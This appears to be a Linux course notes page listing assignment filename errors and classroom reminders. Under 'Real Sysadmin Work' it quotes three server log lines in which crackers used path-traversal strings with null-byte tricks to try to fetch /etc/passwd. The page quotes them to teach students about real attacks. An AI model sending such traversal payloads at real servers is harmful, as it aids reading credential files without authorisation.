Updated: 2013-05-08 21:01 EDT

1 Readings, Assignments, Labs, and ToDo

1.1 Errors in submitted assignment01.txt

Bad file name: Assignment01.txt
Bad file name: assingment01.txt
Bad file name: Assignment 1.docx
Bad file name: Assignment 01.txt
Bad file name: assignment01.txt.txt
Bad file name: assignment 1.tt

3 From the Classroom Whiteboard/Chalkboard

3.1 Put Your Name On Your Stuff

3.2 Doing work for other students makes them fail

3.3 Lab work

4 Real Sysadmin Work

Some crackers try to fetch the password file from my machine using long strings of parent directories in Web URLs:

aku.staff.makson.us - - [15/Oct/2008:21:16:13 -0400] "GET /http://www.1stproducts.com/2007/index.php?content=http://www.toonzone.net/teentitans/index.php?content=releases/soundtrack/tokyo/index/index.php?content=../../../../../../../../../../../../../etc/passwd%00%0D?? HTTP/1.1" 404 914 "-" "libwww-perl/5.813"
lincl849.intelfon.com - - [17/Oct/2008:16:50:14 -0400] "GET /cst8129/02f/notes//affiliates/index.php?md=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 684 "-" "libwww-perl/5.805"
ns228591.ovh.net - - [23/Apr/2012:23:28:50 -0400] "GET /index.php?inc=../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP/1.1" 404 654 "-" "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4"
Take Notes in Class

Take Notes in Class

Author: 
| Ian! D. Allen  -  idallen@idallen.ca  -  Ottawa, Ontario, Canada
| Home Page: http://idallen.com/   Contact Improv: http://contactimprov.ca/
| College professor (Free/Libre GNU+Linux) at: http://teaching.idallen.com/
| Defend digital freedom:  http://eff.org/  and have fun:  http://fools.ca/

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